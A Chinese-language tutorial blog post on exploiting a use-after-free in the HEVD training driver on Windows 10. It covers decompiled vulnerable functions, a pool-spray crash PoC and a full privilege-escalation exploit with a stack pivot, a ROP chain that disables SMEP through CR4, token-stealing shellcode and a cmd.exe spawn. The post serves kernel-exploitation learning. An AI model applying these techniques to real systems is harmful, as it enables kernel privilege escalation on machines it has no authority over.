Windows 10 中的UaF利用
公众号:https://mp.weixin.qq.com/s/1IsRkO4lSOMqcZadAvnTRw
或许我们的公众号会有更多你感兴趣的内容
继续使用HEVD作为攻击目标
漏洞点分析
主要涉及到的函数如下
AllocateUaFObjectNonPagedPool,主要是分配内核堆,简称函数A
__int64 __fastcall AllocateUaFObjectNonPagedPool () { const void **PoolWithTag; DbgPrintEx(0x4D u, 3u , "[+] Allocating UaF Object\n" ); PoolWithTag = (const void **)ExAllocatePoolWithTag(NonPagedPool, 0x60 u, 'kcaH' ); if ( PoolWithTag ) { DbgPrintEx(0x4D u, 3u , "[+] Pool Tag: %s\n" , "'kcaH'" ); DbgPrintEx(0x4D u, 3u , "[+] Pool Type: %s\n" , "NonPagedPool" ); DbgPrintEx(0x4D u, 3u , "[+] Pool Size: 0x%X\n" , 96 ); DbgPrintEx(0x4D u, 3u , "[+] Pool Chunk: 0x%p\n" , PoolWithTag); memset (PoolWithTag + 1 , 65 , 0x54 u); *((_BYTE *)PoolWithTag + 0x5B ) = 0 ; *PoolWithTag = UaFObjectCallbackNonPagedPool; g_UseAfterFreeObjectNonPagedPool = PoolWithTag; DbgPrintEx(0x4D u, 3u , "[+] UseAfterFree Object: 0x%p\n" , PoolWithTag); DbgPrintEx(0x4D u, 3u , "[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n" , g_UseAfterFreeObjectNonPagedPool); DbgPrintEx(0x4D u, 3u , "[+] UseAfterFree->Callback: 0x%p\n" , *PoolWithTag); return 0xC0000001 LL; } else { DbgPrintEx(0x4D u, 3u , "[-] Unable to allocate Pool chunk\n" ); return 0xC0000017 LL; } }
其中在g_UseAfterFreeObjectNonPagedPool(即PoolWithTag)设置了回调函数UaFObjectCallbackNonPagedPool
ULONG UaFObjectCallbackNonPagedPool () { return DbgPrintEx(0x4D u, 3u , "[+] UseAfter Free Object Callback NonPagedPool\n" ); }
UseUaFObjectNonPagedPool,根据全局变量找到这个堆块,然后调用其回调函数,简称函数B
__int64 __fastcall UseUaFObjectNonPagedPool () { unsigned int v0; v0 = 0xC0000001 ; if ( g_UseAfterFreeObjectNonPagedPool ) { DbgPrintEx(0x4D u, 3u , "[+] Using UaF Object\n" ); DbgPrintEx(0x4D u, 3u , "[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n" , g_UseAfterFreeObjectNonPagedPool); DbgPrintEx( 0x4D u, 3u , "[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n" , *(const void **)g_UseAfterFreeObjectNonPagedPool); DbgPrintEx(0x4D u, 3u , "[+] Calling Callback\n" ); if ( *(_QWORD *)g_UseAfterFreeObjectNonPagedPool ) (*(void (**)(void ))g_UseAfterFreeObjectNonPagedPool)(); return 0 ; } return v0; }
FreeUaFObjectNonPagedPool:释放我们申请的堆块,简称函数C
__int64 __fastcall FreeUaFObjectNonPagedPool () { unsigned int v0; v0 = 0xC0000001 ; if ( g_UseAfterFreeObjectNonPagedPool ) { DbgPrintEx(0x4D u, 3u , "[+] Freeing UaF Object\n" ); DbgPrintEx(0x4D u, 3u , "[+] Pool Tag: %s\n" , "'kcaH'" ); DbgPrintEx(0x4D u, 3u , "[+] Pool Chunk: 0x%p\n" , g_UseAfterFreeObjectNonPagedPool); ExFreePoolWithTag(g_UseAfterFreeObjectNonPagedPool, 'kcaH' ); return 0 ; } return v0; }
并且释放后没有将g_UseAfterFreeObjectNonPagedPool指针置为0,造成可以释放后重用
一般情况下使用方式是A->B->C,但是可以A->C->B就构成了 Use after Free(释放后使用)
在C->B这个过程中如果能让我们的申请到这个区块,这样我们就能改写回调函数的内容从而实现漏洞利用
PoC编写
先写功能点吧,经典的CTF pwn步骤
void AllocatePool (HANDLE hDevice) { DeviceIoControl(hDevice, 0x222013 , nullptr, 0 , NULL , 0 , nullptr, NULL ); } void UsePool (HANDLE hDevice) { DeviceIoControl(hDevice, 0x222017 , nullptr, 0 , NULL , 0 , nullptr, NULL ); } void FreePool (HANDLE hDevice) { DeviceIoControl(hDevice, 0x22201B , nullptr, 0 , NULL , 0 , nullptr, NULL ); }
现在我们的目标首先是将回调函数覆写(例如AAAAAAAAAA),先造成蓝屏
注意到AllocateUaFObjectNonPagedPool申请的chunk大小是0x60,实际分配大小应该是0x70。
这里我们无法精确的布置堆风水,所以顺着之前文章在内核池溢出的堆喷射进行攻击,这里尝试使用named pipe作为内核对象
不过HEVD提供了更简单版本的AllocateFakeObjectNonPagedPool函数
__int64 __fastcall AllocateFakeObjectNonPagedPool (_FAKE_OBJECT_NON_PAGED_POOL *UserFakeObject) { _OWORD *PoolWithTag; DbgPrintEx(0x4D u, 3u , "[+] Creating Fake Object\n" ); PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, 0x58 u, 'kcaH' ); if ( PoolWithTag ) { DbgPrintEx(0x4D u, 3u , "[+] Pool Tag: %s\n" , "'kcaH'" ); DbgPrintEx(0x4D u, 3u , "[+] Pool Type: %s\n" , "NonPagedPool" ); DbgPrintEx(0x4D u, 3u , "[+] Pool Size: 0x%X\n" , 0x58 ); DbgPrintEx(0x4D u, 3u , "[+] Pool Chunk: 0x%p\n" , PoolWithTag); ProbeForRead(UserFakeObject, 0x58 u, 1u ); *PoolWithTag = *(_OWORD *)UserFakeObject->Buffer; PoolWithTag[1 ] = *(_OWORD *)&UserFakeObject->Buffer[16 ]; PoolWithTag[2 ] = *(_OWORD *)&UserFakeObject->Buffer[32 ]; PoolWithTag[3 ] = *(_OWORD *)&UserFakeObject->Buffer[48 ]; PoolWithTag[4 ] = *(_OWORD *)&UserFakeObject->Buffer[64 ]; *((_QWORD *)PoolWithTag + 10 ) = *(_QWORD *)&UserFakeObject->Buffer[80 ]; *((_BYTE *)PoolWithTag + 87 ) = 0 ; DbgPrintEx(0x4D u, 3u , "[+] Fake Object: 0x%p\n" , PoolWithTag); return 0 ; } else { DbgPrintEx(0x4D u, 3u , "[-] Unable to allocate Pool chunk\n" ); return 3221225495LL ; } }
能帮我们在内核创建一个大小为0x70的chunk(0x58大小对齐=0x60+0x10_head = 0x70)
我最开始以为不需要对占用的chunk做特殊的限制直接全部覆写为C就能出发DSOD,然后调试发现最后Use会报错,
我们用0x4343434343434343覆写后:
然后报错
因为64 位模式下,虽然寄存器是 64 位,但实际虚拟地址只有 48 位(4 级页表)。一个地址要"合法"(canonical),必须满足:
bit 63:48 必须等于 bit 47 的符号扩展(即全 0 或全 1)
这里借鉴了[1]的地址改为0xdeadc0de即可满足
得到PoC
#include "include/exp/uaf.hpp" namespace exploit::uaf { void AllocatePool (HANDLE hDevice) { DWORD result; if (!DeviceIoControl(hDevice, IOCTL_ALLOCATE, NULL , 0 , NULL , 0 , &result, NULL )) { } } void UsePool (HANDLE hDevice) { DWORD result; if (!DeviceIoControl(hDevice, IOCTL_USE, NULL , 0 , NULL , 0 , &result, NULL )) { std ::cout << "[x] UsePool Failed: " << GetLastError() << "\n" ; exit (-1 ); } } void FreePool (HANDLE hDevice) { DWORD result; if (!DeviceIoControl(hDevice, IOCTL_FREE, NULL , 0 , NULL , 0 , &result, NULL )) { std ::cout << "[x] AllocatePool Failed: " << GetLastError() << "\n" ; exit (-1 ); } } void AllocateObject (HANDLE hDevice, unsigned int size) { auto buffer = new char [size]; memset (buffer, 'C' , size); *(ULONG_PTR*)(buffer) = (ULONG_PTR)(0xdeadc0de ); DWORD result; if (!DeviceIoControl(hDevice, IOCTL_ALLOCATE_OBJECT, buffer, size, NULL , 0 , &result, NULL )) { std ::cout << "[x] AllocateObject Failed: " << GetLastError() << "\n" ; exit (-1 ); } delete[] buffer; } void Exploit (HANDLE hDevice) { AllocatePool(hDevice); std ::cout << "[+] Allocated Pool, next to free it\n" ; FreePool(hDevice); std ::cout << "[+] Freed Pool, next to spray\n" ; for (size_t i = 0 ; i < 0x10000 ; i++) { if (i % 100 == 0 ) std ::cout << "." ; AllocateObject(hDevice, 0x60 ); } std ::cout << std ::endl ; std ::cout << "[+] Wish luck enough to fill the hole, now use it\n" ; UsePool(hDevice); } }
我一般运行两次就会BSOD
Exp编写
参考之前CVE-2023-21768的打法,使用VirtualAllocEx在申请合法内存填入shellcode然后执行,这里使用的Shellcode和之前栈溢出的一致,并且依旧需要进行ROP(绕过SMEP),这段可以参考StackOverflow中的ROP链,但是首先要做的是栈迁移。我学习了[1]中的栈迁移打法
首先找到ROP
ropper --file ntoskrnl.exe --console --clear-cache search mov esp, 0x 0x00000001402996f0: mov esp, 0x48000000; add esp, 0x28; ret;
然后利用windows API VirtualLock
BOOL VirtualLock ( [in] LPVOID lpAddress, [in] SIZE_T dwSize ) ;
将进程的虚拟地址空间的指定区域锁定到物理内存中,确保后续访问该区域不会产生页面错误。
这里依旧有一些小问题
在执行栈迁移(pivot)gadget 时,程序发生了崩溃。这类问题调试起来可能比较棘手,原因在于涉及两个方面:首先,我们需要在 gadget 前后预留一定的空间,以便内核能够对其进行读写操作;其次,必须确保栈内存已被调入物理内存(即已完成分页),因为在此阶段无法处理缺页异常(此时我们仍处于内核模式)。我们对概念验证(PoC)代码进行了更新:在缓冲区前额外分配了 0x1000 字节的空间,并使用 VirtualLock 函数强制将相关内存调入物理内存。
if (!VirtualLock(lpFakeStack, 0x14000 )) { std ::cout << "[x] VirtualLock lpFakeStack Failed\n" ; exit (-1 ); }
需要注意的是由于使用了栈迁移,这里暂时只能使用换页结束的shellcode。
完全EXP:
https://github.com/Joe1sn/WinX_HEVD_EXP/blob/main/src/exp/uaf.cpp
void Exploit (HANDLE hDevice) { lpSpace = VirtualAlloc(NULL , sizeof (exploit::shellcode::SpawnTokenWithoutAnyProtect) + 0x10 , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory(lpSpace, exploit::shellcode::SpawnTokenWithoutAnyProtect, sizeof (exploit::shellcode::SpawnTokenWithoutAnyProtect)); printf ("[*] Shellcode address: %p\n" , lpSpace); unsigned long long base = exploit::memtools::ulGetKernelBase((PCHAR)"ntoskrnl.exe" ); unsigned long long pop_rcx = base + exploit::gadget::X_19045_2006::pop_rcx_ret; unsigned long long mov_cr4_rcx = base + exploit::gadget::X_19045_2006::mov_cr4_rcx_ret; lpStackPivot = base + exploit::gadget::X_19045_2006::mov_esp_add_ret; printf ("[*] pop rcx; ret: %p\n[*] mov cr4, rcx; ret: %p\n[*] mov esp 0x, add, ret: %p\n" , pop_rcx, mov_cr4_rcx, lpStackPivot); ULONG_PTR stackAddr = FakeStackAddr - 0x1000 ; lpFakeStack = VirtualAlloc((LPVOID)stackAddr, 0x14000 , MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf ("[*] Fake stack addr: %p\n" , lpFakeStack); printf ("[*] Start set ROP\n" ); *(unsigned long long *)(FakeStackAddr + 0x28 ) = (unsigned long long )pop_rcx; *(unsigned long long *)(FakeStackAddr + 0x30 ) = (unsigned long long )exploit::gadget::X_19045_2006::bypassSMEPVal; *(unsigned long long *)(FakeStackAddr + 0x38 ) = (unsigned long long )mov_cr4_rcx; *(unsigned long long *)(FakeStackAddr + 0x40 ) = (unsigned long long )lpSpace; std ::cout << "[+] Fragment agline\n" ; for (size_t i = 0 ; i < 0x2000 ; i++) { if (i % 100 == 0 ) std ::cout << "." ; AllocateObject(hDevice, 0x60 ); } AllocatePool(hDevice); std ::cout << "[+] Allocated Pool, next to free it\n" ; FreePool(hDevice); std ::cout << "[+] Freed Pool, next to spray\n" ; for (size_t i = 0 ; i < 0x10000 ; i++) { if (i % 100 == 0 ) std ::cout << "." ; AllocateObject(hDevice, 0x60 ); } std ::cout << std ::endl ; std ::cout << "[+] Wish luck enough to fill the hole, now use it\n" ; if (!VirtualLock(lpFakeStack, 0x15000 )) { std ::cout << "[x] VirtualLock lpFakeStack Failed\n" ; exit (-1 ); } UsePool(hDevice); system("cmd.exe" ); }
参考
[1] https://vuln.dev/windows-kernel-exploitation-hevd-x64-use-after-free/#vulnerability-discovery